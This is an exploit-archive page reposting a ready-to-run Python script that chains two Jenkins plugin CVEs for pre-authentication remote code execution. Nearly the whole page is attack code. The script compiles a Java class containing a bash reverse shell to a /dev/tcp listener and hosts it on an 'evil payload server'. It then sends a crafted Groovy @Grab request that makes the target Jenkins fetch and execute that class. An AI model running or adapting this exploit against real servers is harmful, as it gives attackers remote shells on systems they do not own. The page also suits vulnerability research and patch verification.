Jenkins plugin script security 1.49/declarative 1.3.4/groovy 2.60 remote code execution Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2019-02-25 | Type : webapps | Platform : java
This exploit / vulnerability Jenkins plugin script security 1.49/declarative 1.3.4/groovy 2.60 remote code execution is for educational purposes only and if it is used you will do on your own risk!

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[+] Code ...

#!/usr/bin/env python
#
# Exploit Title : jenkins-preauth-rce-exploit.py
# Date : 02/23/2019
# Authors : wetw0rk & 0xtavian
# Vendor Homepage : https://jenkins.oi
# Software Link : https://jenkins.io/download/
# Tested on : jenkins=v2.73 Plugins: Script Security=v1.49, Pipeline: Declarative=v1.3.4, Pipeline: Groovy=v2.60,
#
# Greetz: Hima, Fr13ndzSec, AbeSnowman, Berserk, Neil
#
# Description : This exploit chains CVE-2019-1003000 and CVE-2018-1999002 for Pre-Auth Remote Code Execution in Jenkins
# Security Advisory : https://jenkins.io/security/advisory/2019-01-08/#SECURITY-1266
#
# Vulnerable Plugins -
# Pipeline: Declarative Plugin up to and including 1.3.4
# Pipeline: Groovy Plugin up to and including 2.61
# Script Security Plugin up to and including 1.49
#
#
# Credit Goes To @orange_8361 & adamyordan
#
# http://blog.orange.tw/2019/01/hacking-jenkins-part-1-play-with-dynamic-routing.html
# http://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html
# https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc

import os
import sys
import requests
import random
import SimpleHTTPServer
import SocketServer
import multiprocessing

class exploit_ya_bish():

def __init__(self, rhost, rport, lhost, lport):
self.rhost = rhost
self.rport = rport
self.lhost = lhost
self.lport = lport
self.pname = ""

# evil_server: server to host the payload
def evil_server(self):
handler = SimpleHTTPServer.SimpleHTTPRequestHandler
httpd = SocketServer.TCPServer((self.lhost, 80), handler)
httpd.serve_forever()
return

# gen_payload: generate payload and start web server
def gen_payload(self):
self.pname = ''.join(
[
random.choice(
"ABCDEFGHIJKLMNOPQRSTUVWXYZ"
"abcdefghijklmnopqrstuvwxyz"
) for i in range(random.randint(1, 25))
]
)

home = os.getcwd()
os.makedirs("www/package/%s/1/" % self.pname)
os.chdir("www/package/%s/1/" % self.pname)

pfile = 'public class %s {\n' % self.pname
pfile += ' public %s() {\n' % self.pname
pfile += ' try {\n'
pfile += ' String payload = "bash -i >& /dev/tcp/{:s}/{:s} 0>&1";\n'.format(self.lhost, self.lport)
pfile += ' String[] cmds = { "/bin/bash", "-c", payload };\n'
pfile += ' java.lang.Runtime.getRuntime().exec(cmds);\n'
pfile += ' } catch (Exception e) {\n'
pfile += ' }\n'
pfile += ' }\n'
pfile += '}\n'

print "{1} generating payload"
fd = open('{:s}.java'.format(self.pname), 'w')
fd.write(pfile)
fd.close()

os.makedirs("META-INF/services/")
os.system("echo %s > META-INF/services/org.codehaus.groovy.plugins.Runners" % self.pname)
os.system("javac -Xlint:-options -source 6 -target 1.6 %s.java" % self.pname)
os.system("jar cf %s-1.jar ." % self.pname)

print "{2} starting evil payload server"
os.chdir("%s/www" % home)
jobs = []
for i in range(1):
p = multiprocessing.Process(target=self.evil_server)
jobs.append(p)
p.start()

os.chdir(home)

return

def exploit(self):
self.gen_payload()

cookies = \
{
'JSESSIONID.wetw0rk!': 'XXXXXXXXXXXXXXXXXXXXXXXX',
}

headers = \
{
'Host': '{:s}:{:s}'.format(self.rhost, self.rport),
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate',
'Connection': 'close',
'Upgrade-Insecure-Requests': '1',
}

print "{3} as easy as 1,2,3 triggering now"
response = requests.get(
(
'http://{:s}:{:s}/securityRealm/user/admin/descriptorByName/'
'org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value='
'@GrabConfig(disableChecksums=true)%0a'
'@GrabResolver(name=%27{:s}%27,%20root=%27http://{:s}%27)%0a'
'@Grab(group=%27package%27,%20module=%27{:s}%27,%20version=%271%27)%0aimport%20Payload;'.format(
self.rhost, self.rport,
self.pname,
self.lhost,
self.pname
)
),
headers=headers,
cookies=cookies,
verify=False
)

return

def main():
try:
rhost = sys.argv[1]
rport = sys.argv[2]
lhost = sys.argv[3]
lport = sys.argv[4]
except:
print "Usage: ./%s <rhost> <rport> <lhost> <lport>" % sys.argv[0]
print "MAKE SURE U GOT A LISTENER HOMIE!!"
exit(-1)

start = exploit_ya_bish(rhost,rport,lhost,lport)
start.exploit()
os.system("rm -r www")

main()